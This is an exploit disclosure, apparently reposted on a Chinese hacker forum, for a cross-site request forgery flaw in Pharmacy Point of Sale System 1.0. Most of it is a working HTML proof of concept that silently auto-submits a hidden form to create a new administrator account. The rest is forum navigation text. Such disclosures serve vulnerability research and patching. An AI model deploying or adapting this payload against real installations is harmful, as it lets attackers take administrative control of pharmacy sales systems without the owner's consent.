Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)

HACK1949 · 2022年11月4日

# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)
# Date: 10/11/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Version: 1
# Tested on: Windows 10

Detail:
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can add new administrator user account by using crafted post request.

CSRF PoC:

--------------------------------------------------------------------------------------

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/pharmacy/Actions.php?a=save_user" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="fullname" value="Mrt" />
      <input type="hidden" name="username" value="NewAdmin" />
      <input type="hidden" name="type" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

--------------------------------------------------------------------------------------

登录

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

Pharmacy Point of Sale System 1.0 - 'Add New User' Cross-Site Request Forgery (CSRF)

推荐的帖子

HACK1949

链接帖子

意见的链接

分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

最近浏览 0位会员

黑客世界站内导航 (SITE MAP)